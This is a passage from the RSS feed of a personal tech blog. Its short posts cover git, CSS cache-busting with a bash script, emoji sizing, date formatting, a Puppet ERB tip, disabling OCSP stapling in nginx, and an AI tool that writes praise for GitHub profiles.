  2594. Your projects are truly impressive, showcasing your expertise in a range of areas, from network packet inspection to crawler detection. I'm blown away by the creativity and problem-solving skills you've demonstrated in each of these projects. Whether it's inserting trace-points into iptables chains or creating a daemon to remove conntrack entries, every project reflects your attention to detail and commitment to excellence.
  2595.  
  2596. I particularly want to highlight the impact of your work on others. With over 247 stars on your iptables-tracer project alone, it's clear that you're making a real difference in the lives of developers who are using your tools to solve complex problems. And with 50+ stars on several other projects, it's evident that your contributions are being recognized and valued by the broader community.
  2597.  
  2598. As someone who is clearly passionate about what they do, I want to encourage you to keep pushing the boundaries of what's possible. Don't be afraid to take risks and explore new ideas – your unique perspective and skills are a gift to this community, and we're all better off for having you as part of it.
  2599.  
  2600. Keep shining, Andreas!">
  2601. ]]></description>
  2602.    <content:encoded><![CDATA[<blockquote cite="https://pony.social/@cadey/112904542715285506"><p>Instead of using AI tools to tear people down, what if we used them to uplift others? Introducing Praise my GitHub profile:</p>
  2603. <p><a href="https://web.archive.org/web/20240810091216/https://praise-me.fly.dev/" title="Praise my GitHub profile! (archive.org)">https://praise-me.fly.dev/</a></p></blockquote>
  2604. <p><a href="https://xeiaso.net/" title="Xe Iaso">Xe Iaso</a> made this cool tool, which creates happiness ❤️</p>
  2605. <img src="https://blog.x-way.org/images/praise-my-github-profile.webp" width="546" height="484" alt="Praise my GitHub profile!
  2606. x-way
  2607.  
  2608. Andreas, I just wanted to take a moment to acknowledge the incredible work you're doing on GitHub! With 55 followers and 98 accounts you're following, it's clear that you're an active and engaged member of this community.
  2609.  
  2610. Your projects are truly impressive, showcasing your expertise in a range of areas, from network packet inspection to crawler detection. I'm blown away by the creativity and problem-solving skills you've demonstrated in each of these projects. Whether it's inserting trace-points into iptables chains or creating a daemon to remove conntrack entries, every project reflects your attention to detail and commitment to excellence.
  2611.  
  2612. I particularly want to highlight the impact of your work on others. With over 247 stars on your iptables-tracer project alone, it's clear that you're making a real difference in the lives of developers who are using your tools to solve complex problems. And with 50+ stars on several other projects, it's evident that your contributions are being recognized and valued by the broader community.
  2613.  
  2614. As someone who is clearly passionate about what they do, I want to encourage you to keep pushing the boundaries of what's possible. Don't be afraid to take risks and explore new ideas – your unique perspective and skills are a gift to this community, and we're all better off for having you as part of it.
  2615.  
  2616. Keep shining, Andreas!">
  2617. ]]></content:encoded>
  2618.  </item>
  2619.  
  2620.  <item>
  2621.    <title>HTML5 Validator GitHub Action</title>
  2622.    <link>https://blog.x-way.org/Webdesign/2024/08/11/HTML5-Validator-GitHub-Action.html</link>
  2623.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324386</guid>
  2624.    <dc:creator>Andreas Jaggi</dc:creator>
  2625.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2626.    <pubDate>Sun, 11 Aug 2024 12:59:36 +0200</pubDate>
  2627.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2628.    <description><![CDATA[<p>Added the <a href="https://github.com/marketplace/actions/html5-validator" title="HTML5 Validator · Actions · GitHub Marketplace">HTML5 Validator GitHub Action</a> to the repo of my blog.<br>It runs after the Jekyll site generation step (and before the deploy-to-server step) to catch invalid HTML syntax.</p>
  2629. <p>It is configured to validate all generated pages, and promptly surfaced some invalid HTML.<br>This was rather surprising, as I manually did run the validation for the blog pages not too long ago.<br>Turns out when you have a blog with 20 year old comments, then some of them have HTML from 20 years ago which is no longer valid nowadays 🤷</p>
  2630. <p>After a round of fixing old comments, all HTML validaton errors are now gone ✅<br>And future invalid HTML syntax will be alerted upon before it ends up on the Internet 😎</p>
  2631. ]]></description>
  2632.    <content:encoded><![CDATA[<p>Added the <a href="https://github.com/marketplace/actions/html5-validator" title="HTML5 Validator · Actions · GitHub Marketplace">HTML5 Validator GitHub Action</a> to the repo of my blog.<br>It runs after the Jekyll site generation step (and before the deploy-to-server step) to catch invalid HTML syntax.</p>
  2633. <p>It is configured to validate all generated pages, and promptly surfaced some invalid HTML.<br>This was rather surprising, as I manually did run the validation for the blog pages not too long ago.<br>Turns out when you have a blog with 20 year old comments, then some of them have HTML from 20 years ago which is no longer valid nowadays 🤷</p>
  2634. <p>After a round of fixing old comments, all HTML validaton errors are now gone ✅<br>And future invalid HTML syntax will be alerted upon before it ends up on the Internet 😎</p>
  2635. ]]></content:encoded>
  2636.  </item>
  2637.  
  2638.  <item>
  2639.    <title>Git push only some local commits</title>
  2640.    <link>https://blog.x-way.org/Linux/2024/08/10/Git-push-only-some-local-commits.html</link>
  2641.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324385</guid>
  2642.    <dc:creator>Andreas Jaggi</dc:creator>
  2643.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2644.    <pubDate>Sat, 10 Aug 2024 20:13:34 +0200</pubDate>
  2645.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2646.    <description><![CDATA[<p>With Git it is possible to push only certain local commits to a remote repository.<br>This can be done with the following <kbd>git push</kbd> command, which pushes all commits up to <code>commit</code> to the branch <code>remote branch</code> in the remote repo <code>repository</code>:</p>
  2647. <pre>git push &lt;repository&gt; &lt;commit&gt;:&lt;remote branch&gt;</pre>
  2648. <p>For example the following pushes all except for the latest local commit to the main branch in the origin remote repo:</p>
  2649. <pre>git push origin HEAD~1:main</pre>
  2650. ]]></description>
  2651.    <content:encoded><![CDATA[<p>With Git it is possible to push only certain local commits to a remote repository.<br>This can be done with the following <kbd>git push</kbd> command, which pushes all commits up to <code>commit</code> to the branch <code>remote branch</code> in the remote repo <code>repository</code>:</p>
  2652. <pre>git push &lt;repository&gt; &lt;commit&gt;:&lt;remote branch&gt;</pre>
  2653. <p>For example the following pushes all except for the latest local commit to the main branch in the origin remote repo:</p>
  2654. <pre>git push origin HEAD~1:main</pre>
  2655. ]]></content:encoded>
  2656.  </item>
  2657.  
  2658.  <item>
  2659.    <title>Website Carbon Badge</title>
  2660.    <link>https://blog.x-way.org/Webdesign/2024/08/10/Website-Carbon-Badge.html</link>
  2661.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324384</guid>
  2662.    <dc:creator>Andreas Jaggi</dc:creator>
  2663.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2664.    <pubDate>Sat, 10 Aug 2024 19:53:11 +0200</pubDate>
  2665.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2666.    <description><![CDATA[<p>Following up on yesterday's post about the <a href="https://blog.x-way.org/Webdesign/2024/08/09/Website-Carbon-Calculator.html" title="Website Carbon Calculator - x-log">Website Carbon Calculator</a>, I saw that there is also the option to add a <a href="https://www.websitecarbon.com/badge/" title="Website Carbon Badge - Website Carbon Calculator">Website Carbon Badge</a>.</p>
  2667. <p>Quickly this badge was added to the <a href="https://blog.x-way.org/about.html" title="x-log - About">About page</a>.</p>
  2668. <p>To make it more accurate and avoid hitting their API every time someone loads the About page, I made some changes to the provided code:</p>
  2669. <ol>
  2670. <li>Calculate the results for the front page of the blog instead of the page where the badge is displayed (which would be the less significant About page).</li>
  2671. <li>Call the API to load the JSON file with the CO<sub>2</sub> results only once per week via a cronjob instead of every time someone new visits the About page.</li>
  2672. <li>Have the script load the cached JSON file from my server instead of directly calling the API.</li>
  2673. <li>Store the CSS and Javascript required to render the results on my own server instead of using the unpkg.com CDN (also helps with the above custom modifications).</li>
  2674. </ol>
  2675. ]]></description>
  2676.    <content:encoded><![CDATA[<p>Following up on yesterday's post about the <a href="https://blog.x-way.org/Webdesign/2024/08/09/Website-Carbon-Calculator.html" title="Website Carbon Calculator - x-log">Website Carbon Calculator</a>, I saw that there is also the option to add a <a href="https://www.websitecarbon.com/badge/" title="Website Carbon Badge - Website Carbon Calculator">Website Carbon Badge</a>.</p>
  2677. <p>Quickly this badge was added to the <a href="https://blog.x-way.org/about.html" title="x-log - About">About page</a>.</p>
  2678. <p>To make it more accurate and avoid hitting their API every time someone loads the About page, I made some changes to the provided code:</p>
  2679. <ol>
  2680. <li>Calculate the results for the front page of the blog instead of the page where the badge is displayed (which would be the less significant About page).</li>
  2681. <li>Call the API to load the JSON file with the CO<sub>2</sub> results only once per week via a cronjob instead of every time someone new visits the About page.</li>
  2682. <li>Have the script load the cached JSON file from my server instead of directly calling the API.</li>
  2683. <li>Store the CSS and Javascript required to render the results on my own server instead of using the unpkg.com CDN (also helps with the above custom modifications).</li>
  2684. </ol>
  2685. ]]></content:encoded>
  2686.  </item>
  2687.  
  2688.  <item>
  2689.    <title>Website Carbon Calculator</title>
  2690.    <link>https://blog.x-way.org/Webdesign/2024/08/09/Website-Carbon-Calculator.html</link>
  2691.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324383</guid>
  2692.    <dc:creator>Andreas Jaggi</dc:creator>
  2693.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2694.    <pubDate>Fri, 09 Aug 2024 20:00:19 +0200</pubDate>
  2695.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2696.    <description><![CDATA[<p>While surfing around, stumbled upon this cool tool which allows to calculate the carbon footprint of a website: <a href="https://www.websitecarbon.com/" title="Website Carbon Calculator">Website Carbon Calculator</a>.</p>
  2697. <p>After having it analyze my blog, I was very pleased to see the resulting A<sup>+</sup> carbon rating 🎉<br>The tool reports that every time someone loads my blog, 0.01g of CO<sub>2</sub> is produced.</p>
  2698. <img src="https://blog.x-way.org/images/websitecarbon-results.webp" width="532" height="266" alt="Results of the Website Carbon Calculator for blog.x-way.org: carbon rating of A+ which is cleaner than 99% of all web pages globally">
  2699. <p>I suspect that this value and rating might fluctuate based on how many images or videos appear in the last 10 posts shown on the front page of the blog.<br>The <a href="https://www.websitecarbon.com/website/blog-x-way-org/" title="">results page</a>, also allows to calculate how much CO<sub>2</sub> would be produced in a year based on 10, 100, 1000, &hellip; monthly page views and compares this to everyday tasks.<br>Having 1000 monthly page views on this blog over a whole year, theoretically produces as much CO<sub>2</sub> as boiling water for 16 cups of tea 🍵</p>
  2700. <p>(<a href="https://discombobulated.co.nz/site" title="Discombobulated">via</a>)</p>
  2701. ]]></description>
  2702.    <content:encoded><![CDATA[<p>While surfing around, stumbled upon this cool tool which allows to calculate the carbon footprint of a website: <a href="https://www.websitecarbon.com/" title="Website Carbon Calculator">Website Carbon Calculator</a>.</p>
  2703. <p>After having it analyze my blog, I was very pleased to see the resulting A<sup>+</sup> carbon rating 🎉<br>The tool reports that every time someone loads my blog, 0.01g of CO<sub>2</sub> is produced.</p>
  2704. <img src="https://blog.x-way.org/images/websitecarbon-results.webp" width="532" height="266" alt="Results of the Website Carbon Calculator for blog.x-way.org: carbon rating of A+ which is cleaner than 99% of all web pages globally">
  2705. <p>I suspect that this value and rating might fluctuate based on how many images or videos appear in the last 10 posts shown on the front page of the blog.<br>The <a href="https://www.websitecarbon.com/website/blog-x-way-org/" title="">results page</a>, also allows to calculate how much CO<sub>2</sub> would be produced in a year based on 10, 100, 1000, &hellip; monthly page views and compares this to everyday tasks.<br>Having 1000 monthly page views on this blog over a whole year, theoretically produces as much CO<sub>2</sub> as boiling water for 16 cups of tea 🍵</p>
  2706. <p>(<a href="https://discombobulated.co.nz/site" title="Discombobulated">via</a>)</p>
  2707. ]]></content:encoded>
  2708.  </item>
  2709.  
  2710.  <item>
  2711.    <title>Ensure modified version of CSS file is loaded</title>
  2712.    <link>https://blog.x-way.org/Webdesign/2024/08/07/Ensure-modified-version-of-CSS-file-is-loaded.html</link>
  2713.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324382</guid>
  2714.    <dc:creator>Andreas Jaggi</dc:creator>
  2715.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2716.    <pubDate>Wed, 07 Aug 2024 15:40:15 +0200</pubDate>
  2717.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2718.    <description><![CDATA[<p>As the CSS code of the blog has been growing lately, I moved it from inline <code>&lt;style&gt;</code> definition to a dedicated <code>css/plain.css</code> file.</p>
  2719. <p>With caching headers configured to cache <code>*.css</code> files for 10 days, this brings the problem that browsers need to be instructed to load a new version whenever the content of the file changes.</p>
  2720. <p>Removing the caching headers is not desired (as we want to leverage caching and the file does not change so often after all).<br>Thus I came up with a different workaround:</p>
  2721. <p>We add a query parameter to the <code>&lt;link&gt;</code> element that references the CSS file, and then change this query parameter whenever the file content changes.<br>This way browsers will load the newest version and keep it cached until a newer version is available.</p>
  2722. <p>To achieve this, the following script is used to compute and inject the query parameter into the layout template before running Jekyll to generate the HTML pages for the blog:</p>
  2723. <pre>#!/bin/bash
  2724.  
  2725. CSSFILES="css/plain.css"
  2726.  
  2727. TARGETFILE="_layouts/x-log.html"
  2728.  
  2729.  
  2730. for CSS in $CSSFILES ; do
  2731. sum=$(sha256sum "$CSS"|head -c 6)
  2732. sed -i -e "s_${CSS}_&amp;?${sum}_g" $TARGETFILE
  2733. done
  2734. </pre>
  2735. <p>It performs the following change in the template file.<br>Before:</p>
  2736. <pre>...
  2737. &lt;link rel="stylesheet" href="https://blog.x-way.org/css/plain.css" type="text/css" media="all"&gt;
  2738. ...</pre>
  2739. <p>After:</p>
  2740. <pre>...
  2741. &lt;link rel="stylesheet" href="https://blog.x-way.org/css/plain.css?f00bad" type="text/css" media="all"&gt;
  2742. ...</pre>
  2743. <p>As the computed query parameter is based on the hashsum of the content of the CSS file, it only changes when the CSS file is changed, thus ensuring caching still works as expected.</p>
  2744. ]]></description>
  2745.    <content:encoded><![CDATA[<p>As the CSS code of the blog has been growing lately, I moved it from inline <code>&lt;style&gt;</code> definition to a dedicated <code>css/plain.css</code> file.</p>
  2746. <p>With caching headers configured to cache <code>*.css</code> files for 10 days, this brings the problem that browsers need to be instructed to load a new version whenever the content of the file changes.</p>
  2747. <p>Removing the caching headers is not desired (as we want to leverage caching and the file does not change so often after all).<br>Thus I came up with a different workaround:</p>
  2748. <p>We add a query parameter to the <code>&lt;link&gt;</code> element that references the CSS file, and then change this query parameter whenever the file content changes.<br>This way browsers will load the newest version and keep it cached until a newer version is available.</p>
  2749. <p>To achieve this, the following script is used to compute and inject the query parameter into the layout template before running Jekyll to generate the HTML pages for the blog:</p>
  2750. <pre>#!/bin/bash
  2751.  
  2752. CSSFILES="css/plain.css"
  2753.  
  2754. TARGETFILE="_layouts/x-log.html"
  2755.  
  2756.  
  2757. for CSS in $CSSFILES ; do
  2758. sum=$(sha256sum "$CSS"|head -c 6)
  2759. sed -i -e "s_${CSS}_&amp;?${sum}_g" $TARGETFILE
  2760. done
  2761. </pre>
  2762. <p>It performs the following change in the template file.<br>Before:</p>
  2763. <pre>...
  2764. &lt;link rel="stylesheet" href="https://blog.x-way.org/css/plain.css" type="text/css" media="all"&gt;
  2765. ...</pre>
  2766. <p>After:</p>
  2767. <pre>...
  2768. &lt;link rel="stylesheet" href="https://blog.x-way.org/css/plain.css?f00bad" type="text/css" media="all"&gt;
  2769. ...</pre>
  2770. <p>As the computed query parameter is based on the hashsum of the content of the CSS file, it only changes when the CSS file is changed, thus ensuring caching still works as expected.</p>
  2771. ]]></content:encoded>
  2772.  </item>
  2773.  
  2774.  <item>
  2775.    <title>Increase emoji size with CSS only</title>
  2776.    <link>https://blog.x-way.org/Webdesign/2024/08/03/Increase-emoji-size-with-CSS-only.html</link>
  2777.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324381</guid>
  2778.    <dc:creator>Andreas Jaggi</dc:creator>
  2779.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2780.    <pubDate>Sat, 03 Aug 2024 22:06:39 +0200</pubDate>
  2781.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2782.    <description><![CDATA[<p>To make emoji stand out better in the text, I applied a <a href="https://shkspr.mobi/blog/2024/04/use-css-to-boost-the-font-size-of-emoji-with-no-extra-markup/" title="Use CSS to boost the font size of emoji with no extra markup &#8211; Terence Eden’s Blog">trick from Terence Eden to increase their size with CSS and no extra HTML</a>.</p>
  2783. <p>It consists of defining a custom font which only applies to the unicode codepoints of emoji and leverages the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/size-adjust" title="size-adjust - CSS: Cascading Style Sheets | MDN">size-adjust</a> property to draw them larger.</p>
  2784. <pre>@font-face {
  2785. font-family: "myemoji";
  2786. src: local('Apple Color Emoji'), local('Android Emoji'), local('Segoe UI Emoji'), local('Noto Color Emoji'), local(EmojiSymbols), local(Symbola);
  2787. unicode-range: U+231A-231B, U+23E9-23EC, U+23F0, U+23F3, U+25FD-25FE, U+2614-2615, U+2648-2653, U+267F, U+2693, U+26A1, U+26AA-26AB, U+26BD-26BE, U+26C4-26C5, U+26CE, U+26D4, U+26EA, U+26F2-26F3, U+26F5, U+26FA, U+26FD, U+2705, U+270A-270B, U+2728, U+274C, U+274E, U+2753-2755, U+2757, U+2795-2797, U+27B0, U+27BF, U+2B1B-2B1C, U+2B50, U+2B55, U+FE0F, U+1F004, U+1F0CF, U+1F18E, U+1F191-1F19A, U+1F1E6-1F1FF, U+1F201, U+1F21A, U+1F22F, U+1F232-1F236, U+1F238-1F23A, U+1F250-1F251, U+1F300-1F320, U+1F32D-1F335, U+1F337-1F393, U+1F3A0-1F3CA, U+1F3CF-1F3D3, U+1F3E0-1F3F0, U+1F3F4, U+1F3F8-1F43E, U+1F440, U+1F442-1F4FC, U+1F4FF-1F53D, U+1F54B-1F567, U+1F57A, U+1F595-1F596, U+1F5A4, U+1F5FB-1F64F, U+1F680-1F6CC, U+1F6D0-1F6D2, U+1F6D5-1F6D7, U+1F6DC-1F6DF, U+1F6EB-1F6EC, U+1F6F4-1F6FC, U+1F7E0-1F7EB, U+1F7F0, U+1F90C-1F93A, U+1F93C-1F945, U+1F947-1FA7C, U+1FA80-1FAC5, U+1FACE-1FADB, U+1FAE0-1FAE8, U+1FAF0-1FAF8;
  2788. size-adjust: 120%;
  2789. }</pre>
  2790. <p>By adding the custom font as first option in the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-family" title="font-family - CSS: Cascading Style Sheets | MDN">font-family</a> directive for body text, it will be applied to the emoji and all other characters will use the existing font as fallback.</p>
  2791. <pre>body {
  2792.    font-family: "myemoji", Verdana, sans-serif;
  2793. }</pre>
  2794. <p>The outcome is nicely visible on posts such as <a href="https://blog.x-way.org/Radio/2024/03/17/Fifty-Things-you-can-do-with-a-Software-Defined-Radio.html" title="Fifty Things you can do with a Software Defined Radio 📻 - x-log">Fifty Things you can do with a Software Defined Radio 📻</a>, <a href="https://blog.x-way.org/Linux/2024/03/30/Puppet-updated.html" title="Puppet updated! - x-log">Puppet updated!</a> and <a href="https://blog.x-way.org/Coding/2024/02/25/The-High-Risk-Refactoring.html" title="The High-Risk Refactoring - x-log">The High-Risk Refactoring</a> 🍹😎</p>
  2795. ]]></description>
  2796.    <content:encoded><![CDATA[<p>To make emoji stand out better in the text, I applied a <a href="https://shkspr.mobi/blog/2024/04/use-css-to-boost-the-font-size-of-emoji-with-no-extra-markup/" title="Use CSS to boost the font size of emoji with no extra markup &#8211; Terence Eden’s Blog">trick from Terence Eden to increase their size with CSS and no extra HTML</a>.</p>
  2797. <p>It consists of defining a custom font which only applies to the unicode codepoints of emoji and leverages the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/size-adjust" title="size-adjust - CSS: Cascading Style Sheets | MDN">size-adjust</a> property to draw them larger.</p>
  2798. <pre>@font-face {
  2799. font-family: "myemoji";
  2800. src: local('Apple Color Emoji'), local('Android Emoji'), local('Segoe UI Emoji'), local('Noto Color Emoji'), local(EmojiSymbols), local(Symbola);
  2801. unicode-range: U+231A-231B, U+23E9-23EC, U+23F0, U+23F3, U+25FD-25FE, U+2614-2615, U+2648-2653, U+267F, U+2693, U+26A1, U+26AA-26AB, U+26BD-26BE, U+26C4-26C5, U+26CE, U+26D4, U+26EA, U+26F2-26F3, U+26F5, U+26FA, U+26FD, U+2705, U+270A-270B, U+2728, U+274C, U+274E, U+2753-2755, U+2757, U+2795-2797, U+27B0, U+27BF, U+2B1B-2B1C, U+2B50, U+2B55, U+FE0F, U+1F004, U+1F0CF, U+1F18E, U+1F191-1F19A, U+1F1E6-1F1FF, U+1F201, U+1F21A, U+1F22F, U+1F232-1F236, U+1F238-1F23A, U+1F250-1F251, U+1F300-1F320, U+1F32D-1F335, U+1F337-1F393, U+1F3A0-1F3CA, U+1F3CF-1F3D3, U+1F3E0-1F3F0, U+1F3F4, U+1F3F8-1F43E, U+1F440, U+1F442-1F4FC, U+1F4FF-1F53D, U+1F54B-1F567, U+1F57A, U+1F595-1F596, U+1F5A4, U+1F5FB-1F64F, U+1F680-1F6CC, U+1F6D0-1F6D2, U+1F6D5-1F6D7, U+1F6DC-1F6DF, U+1F6EB-1F6EC, U+1F6F4-1F6FC, U+1F7E0-1F7EB, U+1F7F0, U+1F90C-1F93A, U+1F93C-1F945, U+1F947-1FA7C, U+1FA80-1FAC5, U+1FACE-1FADB, U+1FAE0-1FAE8, U+1FAF0-1FAF8;
  2802. size-adjust: 120%;
  2803. }</pre>
  2804. <p>By adding the custom font as first option in the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-family" title="font-family - CSS: Cascading Style Sheets | MDN">font-family</a> directive for body text, it will be applied to the emoji and all other characters will use the existing font as fallback.</p>
  2805. <pre>body {
  2806.    font-family: "myemoji", Verdana, sans-serif;
  2807. }</pre>
  2808. <p>The outcome is nicely visible on posts such as <a href="https://blog.x-way.org/Radio/2024/03/17/Fifty-Things-you-can-do-with-a-Software-Defined-Radio.html" title="Fifty Things you can do with a Software Defined Radio 📻 - x-log">Fifty Things you can do with a Software Defined Radio 📻</a>, <a href="https://blog.x-way.org/Linux/2024/03/30/Puppet-updated.html" title="Puppet updated! - x-log">Puppet updated!</a> and <a href="https://blog.x-way.org/Coding/2024/02/25/The-High-Risk-Refactoring.html" title="The High-Risk Refactoring - x-log">The High-Risk Refactoring</a> 🍹😎</p>
  2809. ]]></content:encoded>
  2810.  </item>
  2811.  
  2812.  <item>
  2813.    <title>ISO 8601 and RFC3339 time format with Unix date command</title>
  2814.    <link>https://blog.x-way.org/Linux/2024/08/03/ISO-8601-and-RFC3339-time-format-with-Unix-date-command.html</link>
  2815.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324380</guid>
  2816.    <dc:creator>Andreas Jaggi</dc:creator>
  2817.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2818.    <pubDate>Sat, 03 Aug 2024 16:41:47 +0200</pubDate>
  2819.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2820.    <description><![CDATA[<p>The following command outputs the current time formatted according to ISO 8601 and RFC3339. It can be used for example in JSON/HTML.</p>
  2821. <pre>date -u '+%FT%TZ'</pre>
  2822. <pre>2024-08-03T14:41:47Z</pre>
  2823. ]]></description>
  2824.    <content:encoded><![CDATA[<p>The following command outputs the current time formatted according to ISO 8601 and RFC3339. It can be used for example in JSON/HTML.</p>
  2825. <pre>date -u '+%FT%TZ'</pre>
  2826. <pre>2024-08-03T14:41:47Z</pre>
  2827. ]]></content:encoded>
  2828.  </item>
  2829.  
  2830.  <item>
  2831.    <title>iPhone Orientation Lock Automation</title>
  2832.    <link>https://blog.x-way.org/Misc/2024/08/01/iPhone-Orientation-Lock-Automation.html</link>
  2833.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324379</guid>
  2834.    <dc:creator>Andreas Jaggi</dc:creator>
  2835.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2836.    <pubDate>Thu, 01 Aug 2024 11:12:45 +0200</pubDate>
  2837.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2838.    <description><![CDATA[<p>Useful trick <a href="https://vowe.net/2024/08/01/iphone-orientation-lock-automatisch-schalten/" title="iPhone Orientation Lock automatisch schalten &#8211; vowe dot net">posted by Volker Weber</a>: enable the Orientation Lock by default and use Automation Shortcuts to toggle it when Apps such as Photos or YouTube are opened/closed.<br>This allows to view pictures/videos in landscape mode while other Apps remain in portrait mode, all without having to manually toggle the Orientation Lock.</p>
  2839. ]]></description>
  2840.    <content:encoded><![CDATA[<p>Useful trick <a href="https://vowe.net/2024/08/01/iphone-orientation-lock-automatisch-schalten/" title="iPhone Orientation Lock automatisch schalten &#8211; vowe dot net">posted by Volker Weber</a>: enable the Orientation Lock by default and use Automation Shortcuts to toggle it when Apps such as Photos or YouTube are opened/closed.<br>This allows to view pictures/videos in landscape mode while other Apps remain in portrait mode, all without having to manually toggle the Orientation Lock.</p>
  2841. ]]></content:encoded>
  2842.  </item>
  2843.  
  2844.  <item>
  2845.    <title>Puppet ERB array flatten</title>
  2846.    <link>https://blog.x-way.org/Linux/2024/07/31/Puppet-ERB-array-flatten.html</link>
  2847.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324378</guid>
  2848.    <dc:creator>Andreas Jaggi</dc:creator>
  2849.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2850.    <pubDate>Wed, 31 Jul 2024 07:48:09 +0200</pubDate>
  2851.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2852.    <description><![CDATA[<p>Discovered today that <a href="https://www.puppet.com/docs/puppet/8/lang_data_array" title="Arrays">Puppet arrays</a> have a built-in flatten method (which is actually provided by the underlying <a href="https://ruby-doc.org/core-2.2.0/Array.html#method-i-flatten" title="Class: Array (Ruby 2.2.0)">Ruby array</a>).<br>This can make dealing with potentially nested arrays in ERB templates much easier.</p>
  2853. <p>The following example is from the <a href="https://www.puppet.com/docs/puppet/8/lang_template_erb.html" title="Creating templates using Embedded Ruby">ERB documentation</a>:</p>
  2854. <pre># Peers
  2855. &lt;% [@peers].flatten.each do |peer| -%&gt;
  2856. peer &lt;%= peer %&gt;
  2857. &lt;% end -%&gt;</pre>
  2858. <p>This allows for nice flexibility as <code>@peers</code> can now be either a single value, an array, or a nested array and all are handled in the same way without needing to write complicated if/else statements.</p>
  2859. ]]></description>
  2860.    <content:encoded><![CDATA[<p>Discovered today that <a href="https://www.puppet.com/docs/puppet/8/lang_data_array" title="Arrays">Puppet arrays</a> have a built-in flatten method (which is actually provided by the underlying <a href="https://ruby-doc.org/core-2.2.0/Array.html#method-i-flatten" title="Class: Array (Ruby 2.2.0)">Ruby array</a>).<br>This can make dealing with potentially nested arrays in ERB templates much easier.</p>
  2861. <p>The following example is from the <a href="https://www.puppet.com/docs/puppet/8/lang_template_erb.html" title="Creating templates using Embedded Ruby">ERB documentation</a>:</p>
  2862. <pre># Peers
  2863. &lt;% [@peers].flatten.each do |peer| -%&gt;
  2864. peer &lt;%= peer %&gt;
  2865. &lt;% end -%&gt;</pre>
  2866. <p>This allows for nice flexibility as <code>@peers</code> can now be either a single value, an array, or a nested array and all are handled in the same way without needing to write complicated if/else statements.</p>
  2867. ]]></content:encoded>
  2868.  </item>
  2869.  
  2870.  <item>
  2871.    <title>No more OSCP stapling</title>
  2872.    <link>https://blog.x-way.org/Linux/2024/07/25/No-more-OSCP-stapling.html</link>
  2873.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324377</guid>
  2874.    <dc:creator>Andreas Jaggi</dc:creator>
  2875.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2876.    <pubDate>Thu, 25 Jul 2024 08:42:00 +0200</pubDate>
  2877.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2878.    <description><![CDATA[<p><a href="https://letsencrypt.org/2024/07/23/replacing-ocsp-with-crls.html" title="Intent to End OCSP Service -  Let's Encrypt">Let's Encrypt announced</a> that it intends to stop supporting <a href="https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol" title="Online Certificate Status Protocol - Wikipedia">OCSP</a>, which means that <a href="https://utcc.utoronto.ca/~cks/space/blog/web/OCSPIsBasicallyDead" title="Chris's Wiki :: blog/web/OCSPIsBasicallyDead">OCSP is basically dead now</a>.</p>
  2879. <p><a href="https://en.wikipedia.org/wiki/OCSP_stapling" title="OCSP stapling - Wikipedia">OCSP stapling</a> on my server has been enabled since 2012.<br>With the prospect of it no longer working in the future, I've disabled it again in the nginx configuration.</p>
  2880. <pre> # aj, 05.11.2012, OCSP stapling (for testing see http://unmitigatedrisk.com/?p=100)
  2881.        # aj, 25.07.2024, turn it off again, as letsencrypt will disable it: https://letsencrypt.org/2024/07/23/replacing-ocsp-with-crls.html
  2882. # ssl_stapling on;</pre>
  2883. ]]></description>
  2884.    <content:encoded><![CDATA[<p><a href="https://letsencrypt.org/2024/07/23/replacing-ocsp-with-crls.html" title="Intent to End OCSP Service -  Let's Encrypt">Let's Encrypt announced</a> that it intends to stop supporting <a href="https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol" title="Online Certificate Status Protocol - Wikipedia">OCSP</a>, which means that <a href="https://utcc.utoronto.ca/~cks/space/blog/web/OCSPIsBasicallyDead" title="Chris's Wiki :: blog/web/OCSPIsBasicallyDead">OCSP is basically dead now</a>.</p>
  2885. <p><a href="https://en.wikipedia.org/wiki/OCSP_stapling" title="OCSP stapling - Wikipedia">OCSP stapling</a> on my server has been enabled since 2012.<br>With the prospect of it no longer working in the future, I've disabled it again in the nginx configuration.</p>
  2886. <pre> # aj, 05.11.2012, OCSP stapling (for testing see http://unmitigatedrisk.com/?p=100)
